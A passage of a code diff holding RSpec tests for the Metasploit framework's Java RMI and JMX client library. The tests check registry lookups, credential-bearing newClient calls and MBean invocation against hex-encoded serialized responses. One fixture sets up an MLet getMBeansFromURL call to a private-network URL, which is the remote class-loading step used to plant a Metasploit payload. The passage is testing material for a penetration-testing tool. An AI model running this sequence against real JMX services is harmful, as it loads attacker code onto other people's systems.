"\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" +
"\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" +
"\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" +
"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" +
"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" +
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" +
"\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" +
"\x65\x3d\x4d\x4c\x65\x74\x78"
end
let(:name_create) { 'javax.management.loading.MLet' }
let(:create_mbean_response) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
"\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" +
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" +
"\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" +
"\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" +
"\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" +
"\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" +
"\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" +
"\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" +
"\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" +
"\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" +
"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" +
"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" +
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" +
"\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" +
"\x65\x3d\x4d\x4c\x65\x74\x78"
end
let(:invoke_args) do
{
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' }
}
end
let(:invoke_response) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
"\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" +
"\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" +
"\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" +
"\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" +
"\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" +
"\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" +
"\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" +
"\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" +
"\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" +
"\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" +
"\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" +
"\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" +
"\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" +
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
"\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" +
"\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" +
"\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78"
end
let(:remote_address) do
'172.16.158.132'
end
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:io) { StringIO.new('', 'w+b') }
describe "#send_jmx_get_object_instance" do
context "when the object exists" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(get_object_instance_response)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "returns true" do
expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy
end
end
end
describe "#send_jmx_create_mbean" do
context "when the object is created successfully" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(create_mbean_response)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "returns true" do
expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy
end
end
end
describe "#send_jmx_invoke" do
context "when the remote method is called successfully" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(invoke_response)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "returns true" do
expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy
end
end
end
end

View File

@ -0,0 +1,83 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
describe Msf::Java::Rmi::Client::Jmx::Server::Builder do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:default_new_client) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70"
end
let(:auth_stream) do
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
"\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
"\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" +
"\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64"
end
let(:credentials_new_client) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x75\x72\x00\x13\x5b\x4c\x6a" +
"\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b" +
"\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00" +
"\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74\x00\x08\x70\x61\x73\x73" +
"\x77\x6f\x72\x64"
end
let(:new_client_opts) do
{
username: 'role',
password: 'password'
}
end
describe "#build_jmx_new_client" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a lookup Call for an empty name" do
expect(mod.build_jmx_new_client.encode).to eq(default_new_client)
end
end
context "when opts with credentials" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_new_client(new_client_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a newClient Call with credentials" do
expect(mod.build_jmx_new_client(new_client_opts).encode).to eq(credentials_new_client)
end
end
end
describe "#build_jmx_new_client_args" do
it "return an Array" do
expect(mod.build_jmx_new_client_args('role', 'password')).to be_an(Array)
end
it "returns an Array with a Rex::Java::Serialization::Model::NewArray" do
expect(mod.build_jmx_new_client_args('role', 'password')[0]).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "builds a correct stream" do
expect(mod.build_jmx_new_client_args('role', 'password')[0].encode).to eq(auth_stream)
end
end
end

View File

@ -0,0 +1,74 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
describe Msf::Java::Rmi::Client::Jmx::Server::Parser do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:new_client_return) do
raw = "\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c\x48" +
"\x27\x84\x49\x80\xb8\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e\x6d" +
"\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" +
"\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69" +
"\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00" +
"\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e" +
"\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74" +
"\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00" +
"\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65" +
"\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63" +
"\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77" +
"\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31" +
"\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13" +
"\x26\x08\xd9\x72\x63\x38\x4c\x6b\x7c\x82\x73\x92\x35\x00\x00\x01" +
"\x4c\x48\x27\x84\x49\x80\xb7\x01\x78"
io = StringIO.new(raw, 'rb')
rv = Rex::Proto::Rmi::Model::ReturnValue.new
rv.decode(io)
rv
end
let(:remote_object) { 'javax.management.remote.rmi.RMIConnectionImpl_Stub' }
let(:remote_interface) do
{
address: '172.16.158.132',
port: 4902,
object_number: 637666592721496956
}
end
describe "#parse_jmx_new_client_endpoint" do
it "returns the remote reference information in a Hash" do
expect(mod.parse_jmx_new_client_endpoint(new_client_return)).to be_a(Hash)
end
it "returns the remote address" do
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
expect(ref[:address]).to eq(remote_interface[:address])
end
it "returns the remote port" do
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
expect(ref[:port]).to eq(remote_interface[:port])
end
it "returns the remote object number" do
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
expect(ref[:object_number]).to eq(remote_interface[:object_number])
end
it "returns the remote object unique identifier" do
ref = mod.parse_jmx_new_client_endpoint(new_client_return)
expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
end
end
end

View File

@ -0,0 +1,63 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
require 'stringio'
describe Msf::Java::Rmi::Client::Jmx::Server do
let(:new_client_response) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
"\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" +
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" +
"\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" +
"\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" +
"\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" +
"\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" +
"\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" +
"\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" +
"\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" +
"\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" +
"\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" +
"\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" +
"\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" +
"\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78"
end
let(:remote_address) do
'172.16.158.132'
end
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:io) { StringIO.new('', 'w+b') }
describe "#send_new_client" do
context "when there is an RMIServerImpl_Stub interface" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(new_client_response)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "returns the reference information" do
expect(mod.send_new_client(sock: io)[:address]).to eq(remote_address)
end
end
end
end

View File

@ -0,0 +1,72 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
describe ::Msf::Java::Rmi::Client::Registry::Builder do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:default_lookup) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x00"
end
let(:lookup_opts) do
{
name: 'test'
}
end
let(:name_lookup) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x04\x74\x65\x73\x74"
end
let(:default_list_call) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x01\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
end
describe "#build_registry_lookup" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_registry_lookup).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a lookup Call for an empty name" do
expect(mod.build_registry_lookup.encode).to eq(default_lookup)
end
end
context "when opts with name" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_registry_lookup(lookup_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a lookup Call for the provided name" do
expect(mod.build_registry_lookup(lookup_opts).encode).to eq(name_lookup)
end
end
end
describe "#build_registry_list" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_registry_list).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a default Call" do
expect(mod.build_registry_list.encode).to eq(default_list_call)
end
end
end
end

View File

@ -0,0 +1,97 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
describe Msf::Java::Rmi::Client::Registry::Parser do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:lookup_return) do
raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" +
"\x86\x47\x4c\x80\x65\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e\x6d" +
"\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" +
"\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49\x6d" +
"\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02\x02" +
"\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" +
"\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74\x75" +
"\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72\x00" +
"\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72" +
"\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61\xb4" +
"\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a\x55" +
"\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e\x31" +
"\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x11\x96\x8a\xd0\x5a" +
"\x9e\xa1\xeb\x94\x3e\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d\x86\x47" +
"\x4c\x80\x01\x01\x78"
io = StringIO.new(raw, 'rb')
rv = Rex::Proto::Rmi::Model::ReturnValue.new
rv.decode(io)
rv
end
let(:remote_object) { 'javax.management.remote.rmi.RMIServerImpl_Stub' }
let(:remote_interface) do
{
address: '172.16.158.132',
port: 4502,
object_number: -8444149663951776706
}
end
let(:list_return) do
raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" +
"\x86\x47\x4c\x80\x66\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e" +
"\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7" +
"\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" +
"\x06\x6a\x6d\x78\x72\x6d\x69"
io = StringIO.new(raw, 'rb')
rv = Rex::Proto::Rmi::Model::ReturnValue.new
rv.decode(io)
rv
end
let(:names) { ['jmxrmi'] }
describe "#parse_registry_lookup_endpoint" do
it "returns the remote reference information in a Hash" do
expect(mod.parse_registry_lookup_endpoint(lookup_return)).to be_a(Hash)
end
it "returns the remote address" do
ref = mod.parse_registry_lookup_endpoint(lookup_return)
expect(ref[:address]).to eq(remote_interface[:address])
end
it "returns the remote port" do
ref = mod.parse_registry_lookup_endpoint(lookup_return)
expect(ref[:port]).to eq(remote_interface[:port])
end
it "returns the remote object number" do
ref = mod.parse_registry_lookup_endpoint(lookup_return)
expect(ref[:object_number]).to eq(remote_interface[:object_number])
end
it "returns the remote object unique identifier" do
ref = mod.parse_registry_lookup_endpoint(lookup_return)
expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
end
end
describe "#parse_registry_list" do
it "returns the list of names" do
expect(mod.parse_registry_list(list_return)).to eq(names)
end
end
end

View File

@ -0,0 +1,237 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
require 'stringio'
describe Msf::Java::Rmi::Client::Registry do
let(:list_with_names_response) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
"\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" +
"\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" +
"\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" +
"\x00\x06\x6a\x6d\x78\x72\x6d\x69"
end
let(:list_empty_response) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" +
"\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" +
"\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" +
"\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00"
end
let(:lookup_response) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
"\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" +
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" +
"\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" +
"\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" +
"\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" +
"\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" +
"\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
"\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" +
"\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" +
"\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" +
"\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" +
"\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" +
"\x84\x49\x80\x01\x01\x78"
end
let(:lookup_exception) do
"\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" +
"\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" +
"\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" +
"\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" +
"\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" +
"\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" +
"\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" +
"\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" +
"\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" +
"\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" +
"\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" +
"\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" +
"\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" +
"\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" +
"\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" +
"\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" +
"\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" +
"\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" +
"\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" +
"\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" +
"\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" +
"\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" +
"\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" +
"\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" +
"\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" +
"\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" +
"\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" +
"\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" +
"\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" +
"\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" +
"\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" +
"\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" +
"\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" +
"\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" +
"\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" +
"\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" +
"\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" +
"\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" +
"\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" +
"\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" +
"\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" +
"\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" +
"\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" +
"\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" +
"\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" +
"\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" +
"\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" +
"\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" +
"\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" +
"\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" +
"\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" +
"\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" +
